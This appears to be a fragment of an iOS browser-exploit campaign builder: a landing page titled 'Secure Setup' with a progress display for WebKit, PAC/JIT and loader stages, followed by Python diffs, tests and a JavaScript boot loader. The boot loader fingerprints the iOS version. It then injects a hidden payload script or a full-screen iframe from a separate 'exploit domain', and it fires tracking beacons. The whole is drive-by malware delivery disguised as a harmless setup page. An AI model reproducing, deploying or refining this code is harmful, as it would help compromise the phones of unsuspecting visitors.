font-size: 11px; font-weight: 600; letter-spacing: .04em;
text-transform: uppercase; color: var(--muted);
}
.step .file {
font-size: 10px; color: #8aa0b3; max-width: 100%;
overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.step.is-run .dot {
color: #fff; background: var(--run); border-color: var(--run);
transform: scale(1.06);
animation: pulse 1.2s ease-in-out infinite;
}
.step.is-run .label { color: var(--run); }
.step.is-ok .dot { color: #fff; background: var(--ok); border-color: var(--ok); }
.step.is-ok .label { color: var(--ok); }
.step.is-bad .dot { color: #fff; background: var(--bad); border-color: var(--bad); }
.step.is-bad .label { color: var(--bad); }
.step.is-ok .file, .step.is-run .file { color: var(--ink); }
/* idle / not-yet-run: muted gray only */
.step:not(.is-ok):not(.is-run):not(.is-bad) .dot {
color: var(--muted); background: #fff; border-color: var(--line);
}
.step:not(.is-ok):not(.is-run):not(.is-bad) .label { color: var(--muted); }
.device-model {
font-size: 13px; font-weight: 500; color: var(--muted);
letter-spacing: .02em;
}
@keyframes pulse {
0%, 100% { box-shadow: 0 0 0 0 rgba(201, 133, 18, .35); }
50% { box-shadow: 0 0 0 8px rgba(201, 133, 18, 0); }
}
@media (prefers-reduced-motion: reduce) {
.ring-fg, .bar > i, .dot { transition: none; }
.step.is-run .dot { animation: none; }
.ring-wrap.is-ticking .count { animation: none; }
}
</style>
</head>
<body>
<div id="lab-hud">
<div class="brand">Secure Setup</div>
<div class="ring-wrap is-run" id="lab-ring-wrap">
<svg viewBox="0 0 120 120" aria-hidden="true">
<circle class="ring-bg" cx="60" cy="60" r="54"></circle>
<circle class="ring-fg" id="lab-ring" cx="60" cy="60" r="54"></circle>
</svg>
<div class="ring-center">
<div class="count" id="lab-count">15</div>
<div class="count-unit">sec</div>
<div id="lab-status">Starting…</div>
</div>
</div>
<div class="progress-panel">
<div class="bar"><i id="lab-bar"></i></div>
<ol class="steps">
<li class="step" data-stage="1" id="lab-s1">
<span class="dot">1</span>
<span class="label">WebKit</span>
<span class="file" id="lab-f1">stage1</span>
</li>
<li class="step" data-stage="2" id="lab-s2">
<span class="dot">2</span>
<span class="label">PAC / JIT</span>
<span class="file" id="lab-f2">stage2</span>
</li>
<li class="step" data-stage="3" id="lab-s3">
<span class="dot">3</span>
<span class="label">Loader</span>
<span class="file" id="lab-f3">stage3</span>
</li>
<li class="step" data-stage="ok" id="lab-sok">
<span class="dot">✓</span>
<span class="label">Success</span>
<span class="file" id="lab-fok">e=0</span>
</li>
</ol>
</div>
<div class="device-model" id="lab-model">—</div>
</div>
<script type="text/javascript">
(function () {
var STAGE_MAP = {
"98f0c8fb182309faa687aa849e92d0ac5f93af7d": { stage: 1, label: "jacurutu" },
"700491384cc59bd25c3aa4dd670c8660963bffe3": { stage: 1, label: "bluebird" },
"3c04ae31f9ba8f809b275be4b3fa93deb558902c": { stage: 1, label: "terrorbird" },
"1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf": { stage: 1, label: "cassowary" },
"40a27e7916aa554e6d38d39beb6bb7ee095692ed": { stage: 1, label: "buffout" },
"9075c25766e57019db4c86fac179b03ebf1b56e5": { stage: 2, label: "breezy" },
"b099ff22b5c8e65654744fd307d81ad208009103": { stage: 2, label: "breezy15" },
"651774047bf8d72258a5f04785c9dabf5e793670": { stage: 2, label: "seedbell_pre" },
"291b914c574e1196039313595217367c44cca436": { stage: 2, label: "seedbell_16.6" },
"0f2be2a4e0ab7e60b6ce550692996d079a5769a0": { stage: 2, label: "seedbell_17" },
"0c297489d8c9d5470bfce17b0d99da3338b44a18": { stage: 3, label: "VariantA" },
"9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f": { stage: 3, label: "VariantB" },
"ad970e88980634bcb2eda0c998a27881686dd29e": { stage: 0, label: "beacon/manifest" }
};
var PRIMARY = {
"6539c1e0dc731ea7c7011af236cc7c2871af7c40": "0xf290",
"054bcb73ce2a3023b3813f5be12d0b6ffd6e7611": "0xf230",
"e406714e92671b5218496fcb6666734411cb2320": "0xf330",
"694c829e379e12085de6158b85f32509f54f4796": "0xf240",
"3b0133801a3f844e7ebafa0363f2423a50005b72": "0xf340",
"6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca": "0xf270",
"eb3e81b54e8763bfe505e7a18be8f5fd828a76f6": "0xf370",
"6bbb364c8a423374d42a2cbc45c0dee84e7dc710": "0xf280",
"99010a27e08b3312650c8d9f321958433e577a30": "0xf380",
"c9118a62558ed444a64c2dfe350c6c57fa277a3a": "0xf390",
"076de672aebfc78137aa863e51ff3d8980dcdd10": "0xf373",
"62415a3d105a8c40c41b19cf456e8474fe441359": "0xf383",
"a5847c3e2e439e2f7c4b1582932cf81a06100981": "0xf275",
"f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a": "0xf375"
};
var SECONDARY = {
"65704c0722165a7bdedad3f3f61258b2f95470f6": "groupA",
"7f208248c748f97956fe4a7cf246c91235852e67": "groupB",
"039c68f0ca742a85e94516818385a9eca2e204d8": "sec",
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": "sec",
"242a0afb1d88b83e9a1a5b570fed6778def892fc": "sec",
"347367155da44f3efcc9053337913061079610b9": "sec",
"630c2b42300333d91588353d43afab9ec8325e09": "sec",
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": "sec",
"743312cafb58176af57b89098d94dca1c60f8d1e": "sec",
"7cb20652ef7156e931f894dd3d99f24601b80368": "sec"
};
var state = { 1: "idle", 2: "idle", 3: "idle", p: "idle", s: "idle", ok: "idle" };
var files = { 1: null, 2: null, 3: null, p: null, s: null };
var statusEl = document.getElementById("lab-status");
var barEl = document.getElementById("lab-bar");
var ringEl = document.getElementById("lab-ring");
var ringWrap = document.getElementById("lab-ring-wrap");
var countEl = document.getElementById("lab-count");
var modelEl = document.getElementById("lab-model");
var CIRC = 2 * Math.PI * 54;
var TOTAL_SEC = 15;
var startedAt = Date.now();
var remain = TOTAL_SEC;
var finished = false;
var failed = false;
var tickTimer = null;
ringEl.style.strokeDasharray = String(CIRC);
ringEl.style.strokeDashoffset = "0";
ringWrap.classList.add("is-ticking");
function log() {}
function setStepUi(n, kind) {
var id = n === "ok" ? "lab-sok" : ("lab-s" + n);
var el = document.getElementById(id);
if (!el) return;
// Success node is never painted red — stays gray until real success (green ✓).
if (n === "ok" && kind === "bad") kind = "idle";
el.classList.remove("is-run", "is-ok", "is-bad");
if (kind === "run" || kind === "ok" || kind === "bad") el.classList.add("is-" + kind);
var dot = el.querySelector(".dot");
if (dot) {
if (kind === "ok") {
dot.textContent = "✓";
} else if (n === "ok") {
dot.textContent = "✓";
} else if (n === 1 || n === 2 || n === 3) {
if (kind !== "ok") dot.textContent = String(n);
}
}
}
function ringTone() {
ringWrap.classList.remove("is-run", "is-ok", "is-bad");
if (failed) ringWrap.classList.add("is-bad");
else if (finished || state.ok === "ok") ringWrap.classList.add("is-ok");
else ringWrap.classList.add("is-run");
}
function paintCountdown() {
var elapsed = (Date.now() - startedAt) / 1000;
remain = Math.max(0, TOTAL_SEC - elapsed);
var pct = Math.max(0, Math.min(1, remain / TOTAL_SEC));
ringEl.style.strokeDashoffset = String(CIRC * (1 - pct));
countEl.textContent = String(Math.max(0, Math.ceil(remain)));
if (remain <= 0) ringWrap.classList.remove("is-ticking");
else ringWrap.classList.add("is-ticking");
ringTone();
}
function refreshBar() {
var score = 0;
if (state[1] === "ok") score += 1;
if (state[2] === "ok") score += 1;
if (state[3] === "ok") score += 1;
if (state.p === "ok") score += 0.35;
if (state.s === "ok") score += 0.35;
if (state.ok === "ok") score = 4;
if (!finished && (state[1] === "run" || state[2] === "run" || state[3] === "run" ||
state.p === "run" || state.s === "run")) score += 0.2;
barEl.style.width = Math.min(100, (score / 4) * 100) + "%";
}
function setStage(n, kind, file, label) {
if (!(n in state) && n !== "ok") return;
if (state[n] === "ok" && kind === "run") return;
// After e=0 success, ignore later pack noise that would re-color stages.
if (finished && n !== "ok" && kind !== "ok") return;
state[n] = kind;
if (file && n !== "ok") {
files[n] = file;
if (n === 1 || n === 2 || n === 3) {
var fe = document.getElementById("lab-f" + n);
if (fe) fe.textContent = (label ? label + " · " : "") + String(file).slice(0, 12) + "…";
}
// Pack progress belongs under Success, not Stage3.
if ((n === "p" || n === "s") && !finished) {
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = (label || n) + " · " + String(file).slice(0, 10) + "…";
}
}
if (n === 1 || n === 2 || n === 3 || n === "ok") setStepUi(n, kind);
refreshBar();
var name = n === "p" ? "primary" : n === "s" ? "secondary" : n === "ok" ? "success" : ("stage " + n);
if (finished && n !== "ok") return;
if (kind === "ok") statusEl.textContent = name + " ready";
if (kind === "bad") {
failed = true;
statusEl.textContent = name + " failed";
ringTone();
}
if (kind === "run") statusEl.textContent = "Loading " + name + "…";
}
function markSuccess() {
finished = true;
failed = false;
// e=0 proves the browser chain finished — light prior stages if they ran or were skipped in HUD.
[1, 2, 3].forEach(function (n) {
if (state[n] !== "bad") setStepUi(n, "ok");
if (state[n] === "idle" || state[n] === "run") state[n] = "ok";
});
if (state.p === "run") state.p = "ok";
if (state.s === "run" || state.s === "idle") state.s = "ok";
state.ok = "ok";
setStepUi("ok", "ok");
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = "e=0";
statusEl.textContent = "Complete";
document.title = "Ready";
barEl.style.width = "100%";
ringTone();
}
function explainE(code) {
if (code === "0") return "ok";
if (code === "1000") return "exception";
if (code === "1001") return "unsupported";
if (code === "1002") return "stage3/native fail";
if (code === "1003") return "gate fail";
return "";
}
function isResultBeacon(url) {
var s = String(url);
if (!/[?&]e=\d+/.test(s)) return false;
if (/ad970e88980634bcb2eda0c998a27881686dd29e\.min\.js/i.test(s)) return true;
if (/\/\?e=\d+/.test(s) || /\/\?[^#]*[?&]e=\d+/.test(s)) return true;
try {
var u = new URL(s, location.href);
var path = u.pathname || "";
if (/\/$/.test(path) && u.searchParams.has("e")) return true;
if (!/\.js$/i.test(path) && u.searchParams.has("e")) return true;
} catch (err) {}
return false;
}
function onBeacon(url, ok) {
if (!isResultBeacon(url)) return false;
var em = String(url).match(/[?&]e=(\d+)/);
if (!em) return false;
var code = em[1];
var note = explainE(code);
statusEl.textContent = "result e=" + code + (note ? " (" + note + ")" : "");
log((ok ? "beacon " : "beacon fail ") + "e=" + code + (note ? " " + note : "") +
" · " + String(url).replace(/^https?:\/\/[^/]+/, ""));
if (code === "0") {
// Real traffic often beacons e=0 before secondary XHR is observed; e=0 is definitive.
[1, 2, 3, "p", "s"].forEach(function (n) {
if (state[n] !== "bad") setStage(n, "ok", files[n], null);
});
markSuccess();
} else if (code === "1002" || code === "1000") {
if (state.s === "idle") setStage("s", "bad", files.s, "no handoff");
failed = true;
setStepUi("ok", "idle");
var fok = document.getElementById("lab-fok");
if (fok) fok.textContent = "e=" + code;
ringTone();
} else {
failed = true;
setStepUi("ok", "idle");
var fok2 = document.getElementById("lab-fok");
if (fok2) fok2.textContent = "e=" + code;
ringTone();
}
return true;
}
function deviceModel() {
var ua = navigator.userAgent || "";
var plat = navigator.platform || "";
var ios = ua.match(/OS (\d+)[._](\d+)(?:[._](\d+))?/);
var mac = ua.match(/Mac OS X (\d+)[._](\d+)(?:[._](\d+))?/);
var name = /iPhone/i.test(ua) || /iPhone/i.test(plat)
? "iPhone"
: /iPad/i.test(ua) || /iPad/i.test(plat)
? "iPad"
: /Macintosh|Mac OS X/i.test(ua)
? "Mac"
: (plat || "Device");
var ver = ios
? "iOS " + ios[1] + "." + ios[2] + (ios[3] ? "." + ios[3] : "")
: mac
? "macOS " + mac[1] + "." + mac[2] + (mac[3] ? "." + mac[3] : "")
: "";
return ver ? name + " · " + ver : name;
}
function fillModel() {
modelEl.textContent = deviceModel();
}
function classify(url) {
if (!url) return null;
var s = String(url);
if (isResultBeacon(s)) return { kind: "beacon", url: s };
var min = s.match(/([0-9a-f]{40})\.min\.js/i);
if (min) {
var sh = min[1].toLowerCase();
if (SECONDARY[sh]) return { kind: "secondary", hash: sh, label: SECONDARY[sh] };
if (PRIMARY[sh]) return { kind: "primary", hash: sh, label: PRIMARY[sh] };
return { kind: "secondary", hash: sh, label: "min.js" };
}
var m = s.match(/([0-9a-f]{40})\.js/i);
if (!m) return null;
var hash = m[1].toLowerCase();
if (PRIMARY[hash]) return { kind: "primary", hash: hash, label: PRIMARY[hash] };
if (SECONDARY[hash]) return { kind: "secondary", hash: hash, label: SECONDARY[hash] };
var info = STAGE_MAP[hash];
if (info) return { kind: "stage", stage: info.stage, hash: hash, label: info.label };
return null;
}
function onModule(url, ok) {
var hit = classify(url);
if (!hit) return;
if (hit.kind === "beacon") {
onBeacon(url, ok);
return;
}
if (hit.kind === "primary") {
setStage("p", ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "primary ok " : "primary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
return;
}
if (hit.kind === "secondary") {
setStage("s", ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "secondary ok " : "secondary fail ") + hit.label + " (" + hit.hash.slice(0, 12) + ")");
if (ok && !finished) statusEl.textContent = "Secondary ready · waiting e=";
return;
}
if (hit.kind === "stage") {
if (hit.stage === 0) {
log((ok ? "offsets/manifest ok " : "offsets/manifest fail ") + hit.hash.slice(0, 12));
onBeacon(url, ok);
return;
}
setStage(hit.stage, ok ? "ok" : "bad", hit.hash, hit.label);
log((ok ? "loaded " : "failed ") + "stage" + hit.stage + " " + hit.label +
" (" + hit.hash.slice(0, 12) + ")");
if (ok && hit.stage === 2 && state[1] === "idle") setStage(1, "ok", files[1], null);
if (ok && hit.stage === 3) {
if (state[1] === "idle") setStage(1, "ok", files[1], null);
if (state[2] === "idle") setStage(2, "ok", files[2], null);
}
}
}
var XO = XMLHttpRequest.prototype.open;
var XS = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function (method, url) {
this.__labUrl = url;
var hit = classify(url);
if (hit) {
if (hit.kind === "beacon") statusEl.textContent = "Finishing…";
else if (hit.kind === "primary") setStage("p", "run", hit.hash, hit.label);
else if (hit.kind === "secondary") setStage("s", "run", hit.hash, hit.label);
else if (hit.kind === "stage" && hit.stage >= 1) setStage(hit.stage, "run", hit.hash, hit.label);
}
return XO.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function () {
var xhr = this;
xhr.addEventListener("loadend", function () {
var ok = xhr.status === 200 || xhr.status === 0;
if (xhr.status === 0 && xhr.response != null) ok = true;
if (xhr.status >= 400) ok = false;
var u = xhr.__labUrl;
if (u && isResultBeacon(u)) {
onBeacon(u, true);
return;
}
onModule(u, ok && xhr.status !== 404);
});
return XS.apply(this, arguments);
};
var armed = false;
setInterval(function () {
// e=0 may land before secondary is requested; never fail packs after success.
if (finished || state.ok === "ok") return;
if (state.p === "ok" && state.s === "idle") {
if (!armed) {
armed = true;
setTimeout(function () {
if (finished || state.ok === "ok") return;
if (state.p === "ok" && state.s === "idle") {
setStage("s", "bad", null, "no request");
statusEl.textContent = "Primary ok · secondary never requested";
log("timeout · no secondary .min.js after primary");
}
}, 4000);
}
}
}, 500);
// Independent of stage success/fail — always ticks until 15s elapses.
tickTimer = setInterval(function () {
paintCountdown();
if (remain <= 0) {
clearInterval(tickTimer);
tickTimer = null;
ringWrap.classList.remove("is-ticking");
}
}, 200);
fillModel();
paintCountdown();
statusEl.textContent = "Preparing stages…";
window.__labHud = { setStage: setStage, state: state, markSuccess: markSuccess };
})();
</script>
<script src="index.js"></script>
</body>
</html>
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+32 -38
View File
@@ -38,6 +38,11 @@ from _common import (
TOOLS = Path(__file__).resolve().parent TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent BUILDER_ROOT = TOOLS.parent
_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
if str(_EMBED_DIR) not in sys.path:
sys.path.insert(0, str(_EMBED_DIR))
from embed_boot import apply_embed_boot # noqa: E402
SUPPORT_TEMPLATES = ("test", "blank") SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "blank" DEFAULT_SUPPORT_TEMPLATE = "blank"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
return template return template
# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
HIT_MARKER = "data-pv"
HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
def load_hit_js() -> str:
if not HIT_JS_PATH.is_file():
raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
return HIT_JS_PATH.read_text(encoding="utf-8").strip()
def ensure_hit_beacon(support_html: Path) -> None:
"""Inline PV/UV beacon into <head> (idempotent via data-pv)."""
text = support_html.read_text(encoding="utf-8")
if HIT_MARKER in text:
return
block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
lower = text.lower()
idx = lower.rfind("</head>")
if idx >= 0:
text = text[:idx] + block + text[idx:]
else:
# Fallback: prepend after <html...> or at start.
html_idx = lower.find("<html")
if html_idx >= 0:
gt = text.find(">", html_idx)
text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
else:
text = "<head>\n" + block + "</head>\n" + text
support_html.write_text(text, encoding="utf-8")
def apply_support_template(campaign_dir: Path, template: str) -> None: def apply_support_template(campaign_dir: Path, template: str) -> None:
template = normalize_support_template(template) template = normalize_support_template(template)
dest = campaign_dir / "support.html" dest = campaign_dir / "support.html"
if template == "test":
if not dest.is_file():
raise SystemExit(f"missing support.html after campaign copy: {dest}")
return
src = SUPPORT_TEMPLATE_ROOT / f"{template}.html" src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
if not src.is_file(): if not src.is_file():
raise SystemExit(f"missing support template: {src}") raise SystemExit(f"missing support template: {src}")
shutil.copyfile(src, dest) shutil.copyfile(src, dest)
if template == "blank":
ensure_hit_beacon(dest)
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
if not support_html.is_file():
return
text = support_html.read_text(encoding="utf-8")
if "__DS_DOMAIN__" not in text:
return
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
def resolve_python() -> str: def resolve_python() -> str:
@@ -303,12 +280,20 @@ def main() -> int:
type=Path, type=Path,
help="optional path to write the result JSON (also printed on stdout)", help="optional path to write the result JSON (also printed on stdout)",
) )
parser.add_argument(
"--ds-domain",
default="",
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
"Empty = relative /next-chain/ (default)",
)
args = parser.parse_args() args = parser.parse_args()
src_campaign = SOURCE_ROOT / "web" src_campaign = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync" src_sync = SOURCE_ROOT / "sync"
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file(): if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
raise SystemExit(f"missing source web template: {src_campaign}") raise SystemExit(f"missing source web template: {src_campaign}")
if not (src_campaign / "index.js").is_file():
raise SystemExit(f"missing source web/index.js: {src_campaign}")
if not src_sync.is_dir(): if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}") raise SystemExit(f"missing source sync: {src_sync}")
@@ -382,7 +367,10 @@ def main() -> int:
print("=== build web/%s ===" % channel) print("=== build web/%s ===" % channel)
web_dir.parent.mkdir(parents=True, exist_ok=True) web_dir.parent.mkdir(parents=True, exist_ok=True)
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk) shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
if not (web_dir / "index.js").is_file():
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
apply_support_template(web_dir, support_template) apply_support_template(web_dir, support_template)
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
run( run(
[ [
py, py,
@@ -401,6 +389,11 @@ def main() -> int:
"--apply", "--apply",
] ]
) )
apply_embed_boot(
web_dir,
channel_code=channel,
ds_domain=(args.ds_domain or "").rstrip("/"),
)
except BaseException: except BaseException:
if web_dir.exists() and not sync_rebuilt: if web_dir.exists() and not sync_rebuilt:
# leave shared sync; remove failed channel web # leave shared sync; remove failed channel web
@@ -421,6 +414,7 @@ def main() -> int:
"seeds_initialized": seeds_initialized, "seeds_initialized": seeds_initialized,
"sync_rebuilt": sync_rebuilt, "sync_rebuilt": sync_rebuilt,
"support_path": f"/web/{channel}/support.html", "support_path": f"/web/{channel}/support.html",
"ds_domain": (args.ds_domain or "").rstrip("/"),
"daily_path": "/sync/daily.html", "daily_path": "/sync/daily.html",
"artifact_root": str(artifact_root), "artifact_root": str(artifact_root),
"state_root": str(state_root), "state_root": str(state_root),
@@ -0,0 +1,95 @@
import tempfile
import unittest
from pathlib import Path
import sys
TOOLS = Path(__file__).resolve().parents[1]
SOURCE = TOOLS.parent / "source"
EMBED = TOOLS.parents[1] / "channel-embed"
if str(TOOLS) not in sys.path:
sys.path.insert(0, str(TOOLS))
if str(EMBED) not in sys.path:
sys.path.insert(0, str(EMBED))
from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402
from new_project import apply_ds_domain, apply_support_template # noqa: E402
class SupportLandingTest(unittest.TestCase):
def test_source_index_js_holds_payload(self) -> None:
index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
self.assertIn("function cAsUcoxco", index_js)
self.assertGreater(len(index_js), 1000)
def test_source_landings_only_load_index_js(self) -> None:
landings = [
SOURCE / "web" / "support.html",
SOURCE / "templates" / "support" / "blank.html",
SOURCE / "templates" / "support" / "test.html",
]
for path in landings:
html = path.read_text(encoding="utf-8")
self.assertIn('src="index.js"', html, path.name)
self.assertNotIn('src="/t.js"', html, path.name)
self.assertNotIn("data-pv", html, path.name)
self.assertNotIn("/statistic/t", html, path.name)
self.assertNotIn("/next-chain/frame.html", html, path.name)
self.assertNotIn("__DS_DOMAIN__", html, path.name)
self.assertNotIn("function cAsUcoxco", html, path.name)
clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
self.assertNotIn("lab-hud", clean)
self.assertNotIn("__labHud", clean)
self.assertNotIn("STAGE_MAP", clean)
def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp)
(dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
apply_embed_boot(
dest,
channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
ds_domain="https://ds.example.com",
)
boot = (dest / "index.js").read_text(encoding="utf-8")
payload = (dest / "payload.js").read_text(encoding="utf-8")
self.assertIn(BOOT_MARKER, boot)
self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
self.assertIn("https://ds.example.com", boot)
self.assertIn("payload.js", boot)
self.assertIn("function cAsUcoxco", payload)
apply_embed_boot(
dest,
channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
ds_domain="",
)
boot2 = (dest / "index.js").read_text(encoding="utf-8")
self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
def test_apply_support_template_does_not_inline_beacon(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp)
apply_support_template(dest, "blank")
html = (dest / "support.html").read_text(encoding="utf-8")
self.assertIn('src="index.js"', html)
self.assertNotIn("data-pv", html)
self.assertNotIn("/statistic/t", html)
def test_apply_ds_domain_replaces_placeholder(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
dest = Path(tmp) / "support.html"
dest.write_text(
"var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
encoding="utf-8",
)
apply_ds_domain(dest, "https://ds.example.com")
text = dest.read_text(encoding="utf-8")
self.assertNotIn("__DS_DOMAIN__", text)
self.assertIn("https://ds.example.com", text)
self.assertIn("/next-chain/frame.html", text)
if __name__ == "__main__":
unittest.main()
+43
View File
@@ -0,0 +1,43 @@
"""Install the shared script-embed boot as published index.js."""
from __future__ import annotations
from pathlib import Path
BOOT_MARKER = "/* coruna-embed-boot */"
BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
PAYLOAD_NAME = "payload.js"
INDEX_NAME = "index.js"
def apply_embed_boot(
dest_dir: Path,
*,
channel_code: str,
ds_domain: str = "",
) -> Path:
dest_dir = Path(dest_dir)
if not dest_dir.is_dir():
raise SystemExit(f"embed boot: missing directory {dest_dir}")
if not BOOT_TEMPLATE.is_file():
raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
index_path = dest_dir / INDEX_NAME
payload_path = dest_dir / PAYLOAD_NAME
if index_path.is_file():
current = index_path.read_text(encoding="utf-8")
if BOOT_MARKER not in current and not payload_path.is_file():
index_path.replace(payload_path)
elif BOOT_MARKER in current and not payload_path.is_file():
raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
if not payload_path.is_file():
raise SystemExit(f"embed boot: missing payload {payload_path}")
boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
boot = boot.replace("__CHANNEL_CODE__", channel_code)
boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
boot = boot.replace("__STAT_ORIGIN__", "")
if BOOT_MARKER not in boot:
boot = BOOT_MARKER + "\n" + boot
index_path.write_text(boot, encoding="utf-8")
return index_path
+81
View File
@@ -0,0 +1,81 @@
/* coruna-embed-boot */
(function () {
var CHANNEL = '__CHANNEL_CODE__';
var DS_DOMAIN = '__DS_DOMAIN__';
var STAT_ORIGIN = '__STAT_ORIGIN__';
if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
window.__CORUNA_CHANNEL__ = CHANNEL;
}
if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
} else {
window.__CORUNA_STAT_ORIGIN__ = '';
}
function scriptDir() {
try {
if (document.currentScript && document.currentScript.src) {
return document.currentScript.src.replace(/\/[^\/]*$/, '/');
}
} catch (e0) {}
try {
var scripts = document.getElementsByTagName('script');
for (var i = scripts.length - 1; i >= 0; i--) {
var src = scripts[i].src || '';
if (/\/index\.js(?:[?#]|$)/i.test(src)) {
return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
}
}
} catch (e1) {}
return '';
}
function inject(src) {
var s = document.createElement('script');
s.src = src;
(document.body || document.documentElement || document.head).appendChild(s);
}
var dir = scriptDir();
var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
inject((statOrigin || location.origin) + '/t.js?' + Date.now());
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
inject((dir || '') + 'payload.js?' + Date.now());
return;
}
if (ios[0] === 18) {
var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
if (!channelCode) {
try {
var path = String(location.pathname || '');
var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (mWeb && mWeb[1]) channelCode = mWeb[1];
else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
} catch (eC) {}
}
var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
+2
View File
@@ -48,6 +48,8 @@ return [
storage_path('app/channel-builder') storage_path('app/channel-builder')
), ),
'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600), 'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
// Shared DGA seed for every old-builder channel (deployment === reporting).
'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))),
], ],
'channel_builder_new' => [ 'channel_builder_new' => [
'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''), 'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
@@ -0,0 +1,23 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('daily_stats', function (Blueprint $table) {
$table->unsignedBigInteger('pv')->nullable()->after('scope_key');
$table->unsignedBigInteger('effective_pv')->nullable()->after('effective_uv');
});
}
public function down(): void
{
Schema::table('daily_stats', function (Blueprint $table) {
$table->dropColumn(['pv', 'effective_pv']);
});
}
};
+10 -2
View File
@@ -9,7 +9,7 @@
